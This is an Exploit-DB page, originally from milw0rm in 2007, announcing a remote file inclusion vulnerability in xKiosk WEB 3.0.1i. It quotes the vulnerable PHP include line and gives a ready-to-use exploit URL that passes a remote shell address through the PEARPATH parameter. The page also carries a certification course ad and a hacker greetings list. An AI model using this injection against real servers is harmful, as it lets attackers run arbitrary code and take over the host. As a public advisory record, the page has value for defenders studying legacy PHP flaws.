xKiosk 3.0.1i - 'xkurl.php?PEARPATH' Remote File Inclusion

EDB-ID:

4502




Platform:

PHP

Date:

2007-10-08


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

xKiosk WEB <= (PEARPATH) Remote File Include Vulnerability

Script : xKiosk WEB

Version : 3.0.1i

Download : http://xkiosk.net/xkiosk.3.0.1j.web.zip

AUTHOR : BorN To K!LL

Vuln Code :

include($PEARPATH.'Client.php');

3xpl0!T :

[p4th]/system/funcs/xkurl.php?PEARPATH=[-SHell-]

Greetings 2 :

str0ke - Dr.2 - AsbMay's Group - GoLd_M - KuWaiT SeCuriTy ..

BorN To K!LL <> GoLd_M = 4ever ... =P

# milw0rm.com [2007-10-08]